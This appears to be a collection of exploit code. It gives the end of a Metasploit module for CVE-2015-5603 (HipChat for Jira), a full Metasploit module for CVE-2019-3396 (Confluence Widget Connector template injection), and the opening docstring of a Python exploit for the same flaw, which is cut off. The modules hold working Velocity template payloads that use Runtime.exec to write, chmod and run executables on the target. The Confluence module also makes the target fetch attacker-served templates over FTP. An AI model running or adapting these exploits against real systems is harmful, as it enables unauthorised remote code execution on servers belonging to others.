        HipChat for Jira plugin versions between 1.3.2 and 6.30.0 are affected. Jira versions
        between 6.3.5 and 6.4.10 are also affected by default, because they were bundled with
        a vulnerable copy of HipChat.

        When using the check command, if you supply a valid username and password, the module
        will be able to trigger the bug and check more accurately. If not, it falls back to
        passive, which can only tell if the target is running on a Jira version that is bundled
        with a vulnerable copy of Hipchat by default, which is less reliable.

        This vulnerability was originally discovered internally by Atlassian.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Chris Wood', # PoC
          'sinn3r'      # Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2015-5603' ],
          [ 'EDB', '38551' ],
          [ 'BID', '76698' ],
          [ 'URL', 'https://confluence.atlassian.com/jira/jira-and-hipchat-for-jira-plugin-security-advisory-2015-08-26-776650785.html' ]
        ],
      'Targets'        =>
        [
          [ 'HipChat for Jira plugin on Java',    { 'Platform' => 'java',  'Arch' => ARCH_JAVA }],
          [ 'HipChat for Jira plugin on Windows', { 'Platform' => 'win',   'Arch' => ARCH_X86  }],
          [ 'HipChat for Jira plugin on Linux',   { 'Platform' => 'linux', 'Arch' => ARCH_X86  }]
        ],
      'DefaultOptions' =>
        {
          'RPORT' => 8080
        },
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 28 2015',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        # Auth is required, but when we use the check command we allow them to be optional.
        OptString.new('JIRAUSER', [false, 'Jira Username', '']),
        OptString.new('JIRAPASS', [false, 'Jira Password', '']),
        OptString.new('TARGETURI', [true, 'The base to Jira', '/'])
      ], self.class)
  end


  # Returns a cookie in a hash, so you can ask for a specific parameter.
  #
  # @return [Hash]
  def get_cookie_as_hash(cookie)
    Hash[*cookie.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/).flatten]
  end


  # Checks the target by actually triggering the bug.
  #
  # @return [Array] Exploit::CheckCode::Vulnerable if bug was triggered.
  #                 Exploit::CheckCode::Unknown if something failed.
  #                 Exploit::CheckCode::Safe for the rest.
  def do_explicit_check
    begin
      cookie = do_login
      # I don't really care which command to execute, as long as it's a valid one for both platforms.
      # If the command is valid, it should return {"message"=>"0"}.
      # If the command is not valid, it should return an empty hash.
      c = get_exec_code('whoami')
      res = inject_template(c, cookie)
      json = res.get_json_document
      if json['message'] && json['message'] == '0'
        return Exploit::CheckCode::Vulnerable
      end
    rescue Msf::Exploit::Failed => e
      vprint_error(e.message)
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Safe
  end


  # Returns the Jira version
  #
  # @return [String] Found Jira version
  # @return [NilClass] No Jira version found.
  def get_jira_version
    version = nil

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'secure', 'Dashboard.jspa')
    })

    unless res
      vprint_error('Connection timed out while retrieving the Jira version.')
      return version
    end

    metas = res.get_html_meta_elements

    version_element = metas.select { |m|
      m.attributes['name'] && m.attributes['name'].value == 'ajs-version-number'
    }.first

    unless version_element
      vprint_error('Unable to find the Jira version.')
      return version
    end

    version_element.attributes['content'] ? version_element.attributes['content'].value : nil
  end


  # Checks the target by looking at things like the Jira version, or whether the Jira web app
  # exists or not.
  #
  # @return [Array] Check code. If the Jira version matches the vulnerable range, it returns
  #                 Exploit::CheckCode::Appears. If we can only tell it runs on Jira, we return
  #                 Exploit::CheckCode::Detected, because it's possible to have Jira not bundled
  #                 with HipChat by default, but installed separately. For other scenarios, we
  #                 return Safe.
  def do_passive_check
    jira_version = get_jira_version
    vprint_status("Found Jira version: #{jira_version}")
    if jira_version && jira_version >= '6.3.5' && jira_version < '6.4.11'
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Safe
  end


  # Checks the vulnerability. Username and password are required to be able to accurately verify
  # the vuln. If supplied, we will try the explicit check (which will trigger the bug, so should
  # be more reliable). If not, we will try the passive one (less accurately, but better than
  # nothing).
  #
  # @see #do_explicit_check
  # @see #do_passive_check
  #
  # @return [Array] Check code
  def check
    checkcode = Exploit::CheckCode::Safe

    if jira_cred_empty?
      vprint_status("No username and password supplied, so we can only do a passive check.")
      checkcode = do_passive_check
    else
      checkcode = do_explicit_check
    end

    checkcode
  end


  # Returns the Jira username set by the user
  def jira_username
    datastore['JIRAUSER']
  end


  # Returns the Jira password set by the user
  def jira_password
    datastore['JIRAPASS']
  end


  # Reports username and password to the database.
  #
  # @param opts [Hash]
  # @option opts [String] :user
  # @option opts [String] :password
  #
  # @return [void]
  def report_cred(opts)
    service_data = {
      address: rhost,
      port: rport,
      service_name: ssl ? 'https' : 'http',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      module_fullname: fullname,
      post_reference_name: self.refname,
      private_data: opts[:password],
      origin_type: :service,
      private_type: :password,
      username: opts[:user]
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      last_attempted_at: Time.now
    }.merge(service_data)

    create_credential_login(login_data)
  end


  # Returns a valid login cookie.
  #
  # @return [String]
  def do_login
    cookie = ''

    prerequisites = get_login_prerequisites
    xsrf          = prerequisites['atlassian.xsrf.token']
    sid           = prerequisites['JSESSIONID']
    uri           = normalize_uri(target_uri.path, 'rest', 'gadget', '1.0', 'login')

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => uri,
      'headers'   => { 'X-Requested-With' => 'XMLHttpRequest' },
      'cookie'    => "atlassian.xsrf.token=#{xsrf}; JSESSIONID=#{sid}",
      'vars_post' => {
        'os_username' => jira_username,
        'os_password' => jira_password,
        'os_captcha'  => '' # Not beatable yet
      }
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out while trying to login')
    end

    json = res.get_json_document

    if json.empty?
      fail_with(Failure::Unknown, 'Server returned a non-JSon response while trying to login.')
    end

    if json['loginSucceeded']
      cookie = res.get_cookies
    elsif !json['loginSucceeded'] && json['captchaFailure']
      fail_with(Failure::NoAccess, "#{jira_username} is protected by captcha. Please try a different account.")
    elsif !json['loginSucceeded']
      fail_with(Failure::NoAccess, 'Incorrect username or password')
    end

    report_cred(
      user: jira_username,
      password: jira_password
    )

    cookie
  end


  # Returns login prerequisites
  #
  # @return [Hash]
  def get_login_prerequisites
    uri = normalize_uri(target_uri.path, 'secure', 'Dashboard.jspa')
    res = send_request_cgi({ 'uri' => uri })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out while getting login prerequisites')
    end

    get_cookie_as_hash(res.get_cookies)
  end


  # Returns the target platform.
  #
  # @param cookie [String] Jira cookie
  # @return [String]
  def get_target_platform(cookie)
    c = get_os_detection_code
    res = inject_template(c, cookie)
    json = res.get_json_document
    json['message'] || ''
  end


  # Returns Java code that can be used to inject to the template in order to write a file.
  #
  # @note This Java code is not able to properly close the file handle. So after using it, you should use #get_dup_file_code,
  #       and then execute the new file instead.
  #
  # @param fname [String] File to write to.
  # @param p [String] Payload
  # @return [String]
  def get_write_file_code(fname, p)
    b64 = Rex::Text.encode_base64(p)
    %Q| $i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{b64}')) |
  end


  # Returns the Java code that gives us the remote Java home path.
  #
  # @return [String]
  def get_java_path_code
    get_java_property_code('java.home')
  end


  # Returns the OS/platform information.
  #
  # @return [String]
  def get_os_detection_code
    get_java_property_code('os.name')
  end


  # Returns the temp path for Java.
  #
  # @return [String]
  def get_temp_path_code
    get_java_property_code('java.io.tmpdir')
  end


  # Returns a system property for Java.
  #
  # @param prop [String] Name of the property to retrieve.
  # @return [String]
  def get_java_property_code(prop)
    %Q| $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{prop}').toString() |
  end


  # Returns the Java code to execute a jar file.
  #
  # @param java_path [String] Java home path
  # @param war_path [String] The jar file to execute
  # @return [String]
  def get_jar_exec_code(java_path, war_path)
    # A quick way to check platform instead of actually grabbing os.name in Java system properties.
    if /^\/[[:print:]]+/ === war_path
      normalized_java_path = Rex::FileUtils.normalize_unix_path(java_path, '/bin/java')
      cmd_str = %Q|#{normalized_java_path} -jar #{war_path}|
    else
      normalized_java_path = Rex::FileUtils.normalize_win_path(java_path, '\\bin\\java.exe')
      war_path.gsub!(/Program Files/, 'PROGRA~1')
      cmd_str = %Q|cmd.exe /C #{normalized_java_path} -jar #{war_path}"|
    end

    %Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd_str}').waitFor() |
  end


  # Returns Java code that can be used to inject to the template in order to execute a file.
  #
  # @param cmd [String] command to execute
  # @return [String]
  def get_exec_code(cmd)
    %Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd}').waitFor() |
  end


  # Returns Java code that can be used to inject to the template in order to chmod a file.
  #
  # @param fname [String] File to chmod
  # @return [String]
  def get_chmod_code(fname)
    get_exec_code("chmod 777 #{fname}")
  end


  # Returns Java code that can be used to inject to the template in order to copy a file.
  #
  # @note The purpose of this method is to have a file that is not busy, so we can execute it.
  #       It is meant to be used with #get_write_file_code.
  #
  # @param fname [String] The file to copy
  # @param new_fname [String] The new file
  # @return [String]
  def get_dup_file_code(fname, new_fname)
    if fname =~ /^\/[[:print:]]+/
      cp_cmd = "cp #{fname} #{new_fname}"
    else
      cp_cmd = "cmd.exe /C copy #{fname} #{new_fname}"
    end

    get_exec_code(cp_cmd)
  end


  # Returns a boolean indicating whether the module has a username and password.
  #
  # @return [TrueClass] There is an empty cred.
  # @return [FalseClass] No empty cred.
  def jira_cred_empty?
    jira_username.blank? || jira_password.blank?
  end


  # Injects Java code to the template.
  #
  # @param p [String] Code that is being injected.
  # @param cookie [String] A cookie that contains a valid JSESSIONID
  # @return [void]
  def inject_template(p, cookie)
    login_sid = get_cookie_as_hash(cookie)['JSESSIONID']

    uri  = normalize_uri(target_uri.path, 'rest', 'hipchat', 'integrations', '1.0', 'message', 'render')
    uri << '/'

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'cookie' => "JSESSIONID=#{login_sid}",
      'ctype'  => 'application/json',
      'data'   => { 'message' => p }.to_json
    })

    if !res
      # This seems to trigger every time even though we're getting a shell. So let's downplay
      # this a little bit. At least it's logged to allow the user to debug.
      elog('Connection timed out in #inject_template')
    elsif res && /Error report/ === res.body
      print_error('Failed to inject and execute code:')
      vprint_line(res.body)
    elsif res
      vprint_status("Server response:")
      vprint_line res.body
    end

    res
  end


  # Checks if the target os/platform is compatible with the module target or not.
  #
  # @return [TrueClass] Compatible
  # @return [FalseClass] Not compatible
  def target_platform_compat?(target_platform)
    target.platform.names.each do |n|
      if /^java$/i === n || /#{n}/i === target_platform
        return true
      end
    end

    false
  end


  # Returns the normalized file path for payload.
  #
  # @return [String]
  def normalize_payload_fname(tmp_path, fname)
    # A quick way to check platform insteaf of actually grabbing os.name in Java system properties.
    if /^\/[[:print:]]+/ === tmp_path
      Rex::FileUtils.normalize_unix_path(tmp_path, fname)
    else
      Rex::FileUtils.normalize_win_path(tmp_path, fname)
    end
  end


  # Returns a temp path from the remote target.
  #
  # @param cookie [String] Jira cookie
  # @return [String]
  def get_tmp_path(cookie)
    c = get_temp_path_code
    res = inject_template(c, cookie)
    json = res.get_json_document
    json['message'] || ''
  end


  # Returns the Java home path used by Jira.
  #
  # @param cookie [String] Jira cookie.
  # @return [String]
  def get_java_home_path(cookie)
    c = get_java_path_code
    res = inject_template(c, cookie)
    json = res.get_json_document
    json['message'] || ''
  end


  # Exploits the target in Java platform.
  #
  # @return [void]
  def exploit_as_java(cookie)
    tmp_path = get_tmp_path(cookie)

    if tmp_path.blank?
      fail_with(Failure::Unknown, 'Unable to get the temp path.')
    end

    jar_fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
    jar       = payload.encoded_jar
    java_home = get_java_home_path(cookie)
    register_files_for_cleanup(jar_fname)

    if java_home.blank?
      fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
    else
      print_status("Found Java home path: #{java_home}")
    end

    print_status("Attempting to write #{jar_fname}")
    c = get_write_file_code(jar_fname, jar)
    inject_template(c, cookie)

    print_status("Executing #{jar_fname}")
    c = get_jar_exec_code(java_home, jar_fname)
    inject_template(c, cookie)
  end


  # Exploits the target in Windows platform.
  #
  # @return [void]
  def exploit_as_windows(cookie)
    tmp_path = get_tmp_path(cookie)

    if tmp_path.blank?
      fail_with(Failure::Unknown, 'Unable to get the temp path.')
    end

    exe           = generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)
    exe_fname     = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
    exe_new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
    exe_fname.gsub!(/Program Files/, 'PROGRA~1')
    exe_new_fname.gsub!(/Program Files/, 'PROGRA~1')
    register_files_for_cleanup(exe_fname, exe_new_fname)

    print_status("Attempting to write #{exe_fname}")
    c = get_write_file_code(exe_fname, exe)
    inject_template(c, cookie)

    print_status("New file will be #{exe_new_fname}")
    c = get_dup_file_code(exe_fname, exe_new_fname)
    inject_template(c, cookie)

    print_status("Executing #{exe_new_fname}")
    c = get_exec_code(exe_new_fname)
    inject_template(c, cookie)
  end


  # Exploits the target in Linux platform.
  #
  # @return [void]
  def exploit_as_linux(cookie)
    tmp_path = get_tmp_path(cookie)

    if tmp_path.blank?
      fail_with(Failure::Unknown, 'Unable to get the temp path.')
    end

    fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
    new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))
    register_files_for_cleanup(fname, new_fname)

    print_status("Attempting to write #{fname}")
    p = generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)
    c = get_write_file_code(fname, p)
    inject_template(c, cookie)

    print_status("chmod +x #{fname}")
    c = get_exec_code("chmod 777 #{fname}")
    inject_template(c, cookie)

    print_status("New file will be #{new_fname}")
    c = get_dup_file_code(fname, new_fname)
    inject_template(c, cookie)

    print_status("Executing #{new_fname}")
    c = get_exec_code(new_fname)
    inject_template(c, cookie)
  end


  def exploit
    if jira_cred_empty?
      fail_with(Failure::BadConfig, 'Jira username and password are required.')
    end

    print_status("Attempting to login as #{jira_username}:#{jira_password}")
    cookie = do_login
    print_good("Successfully logged in as #{jira_username}")

    target_platform = get_target_platform(cookie)
    print_status("Target being detected as: #{target_platform}")

    unless target_platform_compat?(target_platform)
      fail_with(Failure::BadConfig, 'Selected module target does not match the actual target.')
    end

    case target.name
    when /java$/i
      exploit_as_java(cookie)
    when /windows$/i
      exploit_as_windows(cookie)
    when /linux$/i
      exploit_as_linux(cookie)
    end

  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::FtpServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Atlassian Confluence Widget Connector Macro Velocity Template Injection",
      'Description'    => %q{
        Widget Connector Macro is part of Atlassian Confluence Server and Data Center that
        allows embed online videos, slideshows, photostreams and more directly into page.
        A _template parameter can be used to inject remote Java code into a Velocity template,
        and gain code execution. Authentication is unrequired to exploit this vulnerability.
        By default, Java payload will be used because it is cross-platform, but you can also
        specify which native payload you want (Linux or Windows).

        Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version
        6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.

        This vulnerability was originally discovered by Daniil Dmitriev
        https://twitter.com/ddv_ua.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Daniil Dmitriev',                # Discovering vulnerability
          'Dmitry (rrock) Shchannikov'      # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2019-3396' ],
          [ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ],
          [ 'URL', 'https://chybeta.github.io/2019/04/06/Analysis-for-【CVE-2019-3396】-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/'],
          [ 'URL', 'https://paper.seebug.org/886/']
        ],
      'Targets'        =>
        [
          [ 'Java',    { 'Platform' => 'java',  'Arch' => ARCH_JAVA }],
          [ 'Windows', { 'Platform' => 'win',   'Arch' => ARCH_X86  }],
          [ 'Linux',   { 'Platform' => 'linux', 'Arch' => ARCH_X86  }]
        ],
      'DefaultOptions' =>
        {
          'RPORT' => 8090,
          'SRVPORT' => 8021,
        },
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 25 2019',
      'DefaultTarget'  => 0,
      'Stance'         => Msf::Exploit::Stance::Aggressive
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),
        OptString.new('TRIGGERURL', [true, 'Url to external video service to trigger vulnerability',
          'https://www.youtube.com/watch?v=dQw4w9WgXcQ'])
      ])
  end

  # Handles ftp RETP command.
  #
  # @param c [Socket] Control connection socket.
  # @param arg [String] RETR argument.
  # @return [void]
  def on_client_command_retr(c, arg)
    vprint_status("FTP download request for #{arg}")
    conn = establish_data_connection(c)
    if(not conn)
      c.put("425 Can't build data connection\r\n")
      return
    end

    c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
    case arg
    when /check\.vm$/
      conn.put(wrap(get_check_vm))
    when /javaprop\.vm$/
      conn.put(wrap(get_javaprop_vm))
    when /upload\.vm$/
      conn.put(wrap(get_upload_vm))
    when /exec\.vm$/
      conn.put(wrap(get_exec_vm))
    else
      conn.put(wrap(get_dummy_vm))
    end
    c.put("226 Transfer complete.\r\n")
    conn.close
  end

  # Handles ftp PASS command to suppress output.
  #
  # @param c [Socket] Control connection socket.
  # @param arg [String] PASS argument.
  # @return [void]
  def on_client_command_pass(c, arg)
    @state[c][:pass] = arg
    vprint_status("#{@state[c][:name]} LOGIN #{@state[c][:user]} / #{@state[c][:pass]}")
    c.put "230 Login OK\r\n"
  end

  # Handles ftp EPSV command to suppress output.
  #
  # @param c [Socket] Control connection socket.
  # @param arg [String] EPSV argument.
  # @return [void]
  def on_client_command_epsv(c, arg)
    vprint_status("#{@state[c][:name]} UNKNOWN 'EPSV #{arg}'")
    c.put("500 'EPSV #{arg}': command not understood.\r\n")
  end

  # Returns a upload template.
  #
  # @return [String]
  def get_upload_vm
    (
      <<~EOF
        $i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}'))
      EOF
    )
  end

  # Returns a command execution template.
  #
  # @return [String]
  def get_exec_vm
    (
      <<~EOF
        $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor()
      EOF
    )
  end

  # Returns checking template.
  #
  # @return [String]
  def get_check_vm
    (
      <<~EOF
        #{@check_text}
      EOF
    )
  end

  # Returns Java's getting property template.
  #
  # @return [String]
  def get_javaprop_vm
    (
      <<~EOF
        $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString()
      EOF
    )
  end

  # Returns dummy template.
  #
  # @return [String]
  def get_dummy_vm
    (
      <<~EOF
      EOF
    )
  end

  # Checks the vulnerability.
  #
  # @return [Array] Check code
  def check
    checkcode = Exploit::CheckCode::Safe
    begin
      # Start the FTP service
      print_status("Starting the FTP server.")
      start_service

      @check_text = Rex::Text.rand_text_alpha(5..10)
      res = inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}check.vm")
      if res && res.body && res.body.include?(@check_text)
        checkcode = Exploit::CheckCode::Vulnerable
      end
    rescue Msf::Exploit::Failed => e
      vprint_error(e.message)
      checkcode = Exploit::CheckCode::Unknown
    end
    checkcode
  end

  # Injects Java code to the template.
  #
  # @param service_url [String] Address of template to injection.
  # @return [void]
  def inject_template(service_url, timeout=20)

    uri  = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'headers' => {
        'Accept' => '*/*',
        'Origin' => full_uri(vhost_uri: true)
      },
      'ctype'  => 'application/json; charset=UTF-8',
      'data'   => {
                    'contentId' => '1',
                    'macro' => {
                      'name' => 'widget',
                      'body' => '',
                      'params' => {
                        'url' => datastore['TRIGGERURL'],
                        '_template' => service_url
                      }

                    }
                  }.to_json
    }, timeout=timeout)

    unless res
      unless service_url.include?("exec.vm")
        print_warning('Connection timed out in #inject_template')
      end
      return
    end

    if res.body.include? 'widget-error'
      print_error('Failed to inject and execute code:')
    else
      vprint_status("Server response:")
    end

    vprint_line(res.body)

    res
  end

  # Returns a system property for Java.
  #
  # @param prop [String] Name of the property to retrieve.
  # @return [String]
  def get_java_property(prop)
    @prop = prop
    res = inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}javaprop.vm")
    if res && res.body
      return clear_response(res.body)
    end
    ''
  end

  # Returns the target platform.
  #
  # @return [String]
  def get_target_platform
    return get_java_property('os.name')
  end

  # Checks if the target os/platform is compatible with the module target or not.
  #
  # @return [TrueClass] Compatible
  # @return [FalseClass] Not compatible
  def target_platform_compat?(target_platform)
    target.platform.names.each do |n|
      if n.downcase == 'java' || target_platform.downcase.include?(n.downcase)
        return true
      end
    end

    false
  end

  # Returns a temp path from the remote target.
  #
  # @return [String]
  def get_tmp_path
    return get_java_property('java.io.tmpdir')
  end

  # Returns the Java home path used by Confluence.
  #
  # @return [String]
  def get_java_home_path
    return get_java_property('java.home')
  end

  # Returns Java code that can be used to inject to the template in order to copy a file.
  #
  # @note The purpose of this method is to have a file that is not busy, so we can execute it.
  #       It is meant to be used with #get_write_file_code.
  #
  # @param fname [String] The file to copy
  # @param new_fname [String] The new file
  # @return [void]
  def get_dup_file_code(fname, new_fname)
    if fname =~ /^\/[[:print:]]+/
      @command = "cp #{fname} #{new_fname}"
    else
      @command = "cmd.exe /C copy #{fname} #{new_fname}"
    end

    inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm")
  end

  # Returns the normalized file path for payload.
  #
  # @return [String]
  def normalize_payload_fname(tmp_path, fname)
    # A quick way to check platform insteaf of actually grabbing os.name in Java system properties.
    if /^\/[[:print:]]+/ === tmp_path
      Rex::FileUtils.normalize_unix_path(tmp_path, fname)
    else
      Rex::FileUtils.normalize_win_path(tmp_path, fname)
    end
  end

  # Exploits the target in Java platform.
  #
  # @return [void]
  def exploit_as_java

    tmp_path = get_tmp_path

    if tmp_path.blank?
      fail_with(Failure::Unknown, 'Unable to get the temp path.')
    end

    @fname    = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
    @b64      = Rex::Text.encode_base64(payload.encoded_jar)
    @command   = ''

    java_home = get_java_home_path

    if java_home.blank?
      fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
    else
      vprint_status("Found Java home path: #{java_home}")
    end

    register_files_for_cleanup(@fname)

    if /^\/[[:print:]]+/ === @fname
      normalized_java_path = Rex::FileUtils.normalize_unix_path(java_home, '/bin/java')
      @command = %Q|#{normalized_java_path} -jar #{@fname}|
    else
      normalized_java_path = Rex::FileUtils.normalize_win_path(java_home, '\\bin\\java.exe')
      @fname.gsub!(/Program Files/, 'PROGRA~1')
      @command = %Q|cmd.exe /C "#{normalized_java_path}" -jar #{@fname}|
    end

    print_status("Attempting to upload #{@fname}")
    inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}upload.vm")

    print_status("Attempting to execute #{@fname}")
    inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
  end


  # Exploits the target in Windows platform.
  #
  # @return [void]
  def exploit_as_windows
    tmp_path = get_tmp_path

    if tmp_path.blank?
      fail_with(Failure::Unknown, 'Unable to get the temp path.')
    end

    @b64      = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
    @fname    = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
    new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
    @fname.gsub!(/Program Files/, 'PROGRA~1')
    new_fname.gsub!(/Program Files/, 'PROGRA~1')
    register_files_for_cleanup(@fname, new_fname)

    print_status("Attempting to upload #{@fname}")
    inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}upload.vm")

    print_status("Attempting to copy payload to #{new_fname}")
    get_dup_file_code(@fname, new_fname)

    print_status("Attempting to execute #{new_fname}")
    @command = new_fname
    inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
  end


  # Exploits the target in Linux platform.
  #
  # @return [void]
  def exploit_as_linux
    tmp_path = get_tmp_path

    if tmp_path.blank?
      fail_with(Failure::Unknown, 'Unable to get the temp path.')
    end

    @b64      = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
    @fname    = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
    new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))
    register_files_for_cleanup(@fname, new_fname)

    print_status("Attempting to upload #{@fname}")
    inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}upload.vm")

    @command = "chmod +x #{@fname}"
    inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm")

    print_status("Attempting to copy payload to #{new_fname}")
    get_dup_file_code(@fname, new_fname)

    print_status("Attempting to execute #{new_fname}")
    @command = new_fname
    inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
  end

  def exploit
    @wrap_marker = Rex::Text.rand_text_alpha(5..10)

    # Start the FTP service
    print_status("Starting the FTP server.")
    start_service

    target_platform = get_target_platform
    if target_platform.nil?
      fail_with(Failure::Unreachable, 'Target did not respond to OS check.  Confirm RHOSTS and RPORT, then run "check".')
    else
      print_status("Target being detected as: #{target_platform}")
    end

    unless target_platform_compat?(target_platform)
      fail_with(Failure::BadConfig, 'Selected module target does not match the actual target.')
    end

    case target.name.downcase
    when /java$/
      exploit_as_java
    when /windows$/
      exploit_as_windows
    when /linux$/
      exploit_as_linux
    end
  end

  # Wraps request.
  #
  # @return [String]
  def wrap(string)
    "#{@wrap_marker}\n#{string}#{@wrap_marker}\n"
  end

  # Returns unwrapped response.
  #
  # @return [String]
  def clear_response(string)
    if match = string.match(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)
      return match.captures[0]
    end
  end
end
            
# Exploit Title: Atlassian Confluence Widget Connector Macro - SSTI 
# Date: 21-Jan-2021
# Exploit Author: 46o60
# Vendor Homepage: https://www.atlassian.com/software/confluence
# Software Link: https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.12.1-x64.bin
# Version: 6.12.1
# Tested on: Ubuntu 20.04.1 LTS
# CVE : CVE-2019-3396

#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
"""

Exploit for CVE-2019-3396 (https://www.cvedetails.com/cve/CVE-2019-3396/) Widget Connector macro in Atlassian
Confluence Server server-side template injection.

Vulnerability information:
    Authors:
        Daniil Dmitriev - Discovering vulnerability
        Dmitry (rrock) Shchannikov - Metasploit module
    Exploit
        ExploitDB:
            https://www.exploit-db.com/exploits/46731
        Metasploit
            https://www.rapid7.com/db/modules/exploit/multi/http/confluence_widget_connector/
            exploit/multi/http/confluence_widget_connector

While Metasploit module works perfectly fine it has a limitation that to gain RCE outbound FTP request is being made
from the target Confluence server towards attacker's server where the Velocity template with the payload is being
hosted. If this is not possible, for example, because network where the target Confluence server is located filters all
outbound traffic, alternative approach is needed. This exploit, in addition to original exploit implements this
alternative approach by first uploading the template to the server and then loading it with original vulnerability from
local file system. The limitation is that to upload a file, a valid session is needed for a non-privileged user. Any
user can upload a file to the server by attaching the file to his "personal space".

There are two modes of the exploit:
  1. Exploiting path traversal for file disclosure and directory listings.
  2. RCE by uploading a template file with payload to the server.

In case where network is filtered and loading remote template is not possible and also you do not have a low-privileged
user session, you can still exploit the '_template' parameter to browse the server file system by using the first mode
of this exploit. Conveniently, application returns file content as well as directory listing depending on to what path
is pointing to. As in original exploit no authentication is needed for this mode.

Limitations of path traversal exploit:
- not possible to distinguish between non-existent path and lack of permissions
- no distinction between files and directories in the output

If you have ability to authenticate to the server and have enough privileges to upload files use the second mode. A
regular user probably has enough privileges for this since each user can have their own personal space where they
should be able to add attachments. This exploit automatically finds the personal space, or creates one if it does not
exists, a file with Velocity template payload. It then uses the original vulnerability but loads the template file
with payload from local filesystem instead from remote system.

Prerequisite of RCE in this exploit:
- authenticated session is needed
